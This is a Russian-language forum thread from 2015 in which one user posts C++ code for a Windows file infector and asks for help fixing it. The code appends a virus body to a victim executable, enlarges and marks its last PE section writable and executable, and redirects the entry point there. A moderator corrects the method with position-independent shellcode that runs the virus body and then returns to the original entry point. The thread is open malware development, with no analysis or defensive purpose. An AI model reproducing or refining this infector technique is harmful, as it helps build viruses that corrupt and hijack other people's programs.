Пятница, 04.10.2024, 23:17 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Neo, xXxSh@dowxXx  
[C++] Файловый инфектор
SlashДата: Суббота, 01.08.2015, 00:39 | Сообщение # 1
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Вообщем, такой код набросал:
Код

#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string.h>
#include <stdio.h>
#include <imagehlp.h>

char FileAlignment;

DWORD CureLastSection(char* pFileMap)
{
   PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
   PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
   PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
   int numSections = pNTHeaders->FileHeader.NumberOfSections;
   for(int i = 0; i < numSections; i++){
    if(i == numSections-1){
      pSectionHeader->Misc.VirtualSize += 0x40000;   
      pSectionHeader->SizeOfRawData += 0x40000;   
      pNTHeaders->OptionalHeader.SizeOfImage += 0x40000;
      pSectionHeader->Characteristics = 0xa0000020;
      pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress;
      pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress;
      MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0);
      MessageBoxA(0, "Last Section Curred!", ":)", 0);
    } else pSectionHeader++;
   }
   return 0;
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){   

   HANDLE hFile, hVir, hMapping;
   DWORD d, offset;
   DWORD br;
   char *mapping, *entry;
   PIMAGE_DOS_HEADER dos;
   PIMAGE_NT_HEADERS nt;
   char virBytes[16384];
   int i;

   DeleteFile( L"C:\\AAA\\1.exe");

   CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false);

   hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);

   if(hFile!=INVALID_HANDLE_VALUE)
   {
    d = GetFileSize(hFile, 0);
    hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
    mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
    dos = (PIMAGE_DOS_HEADER)mapping;
    nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
      

    DWORD dwBytesWritten = 0;

    hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    SetFilePointer(hVir, 0, NULL, FILE_BEGIN);
    ReadFile(hVir, virBytes, 16384, &br, NULL );
    CloseHandle(hVir);

    SetFilePointer(hFile, 90112, NULL, FILE_BEGIN);
    WriteFile( hFile, virBytes, 16384, &br, NULL );

    CureLastSection(mapping);

    UnmapViewOfFile(mapping);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    MessageBoxA(0, "OK", ":)", 0);

   }else MessageBoxA(0, "Cant open!", ":)!", 0);

   return 1;
}


Но не работает - почему?
Алгоритм:
1.Дописываю тело inf.exe в конец жертвы 1.exe
2.Ищу последнюю секцию
3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка)
4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)
 
Anton93Дата: Суббота, 01.08.2015, 14:05 | Сообщение # 2
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
твои ошибки.
1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы
2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш.

код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код.

п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.


ICQ: 41896

Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 14:11
 
SlashДата: Суббота, 01.08.2015, 16:08 | Сообщение # 3
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Цитата Anton93 ()
твои ошибки.
1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы
2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш.

код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код.

п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.

Значит, алгоритм новый должен быть такой:
1.Создаем или расширяем последнюю секцию
2.Туда пишем шелл код на асме, в котором написано что-то типа:вычитываю тело вируса, сохраняю его в отдельный файл, запускаю на исполнение, прыгаю на OEP.
3.Меняем точку входа на начало последней секции с шелл кодом

Вот так вот?
 
Anton93Дата: Суббота, 01.08.2015, 17:52 | Сообщение # 4
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
алгоритм такой
- создаешь новую секцию либо расширяешь последнюю.
- туда записываешь шелл-код потом необходимые данные
- точку входа меняешь на шелл-код тот что в новой либо последней секции
- самому шелл-коду надо передать оригинальную точку входа поэтому ее тоже записываешь. я оставляю в теле шелл-кода места для нее.

в принципе все. про заголовок тоже не забываем smile


ICQ: 41896

Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 17:54
 
SlashДата: Суббота, 01.08.2015, 18:12 | Сообщение # 5
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Цитата Anton93 ()
в принципе все

Пасиба. Ток еще одно - я правильно вообще секцию последнюю расширяю или полный бред? Просто, мне кажется так нельзя, что-то я упускаю, и правильно ли считаю SizeOfImage?
 
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz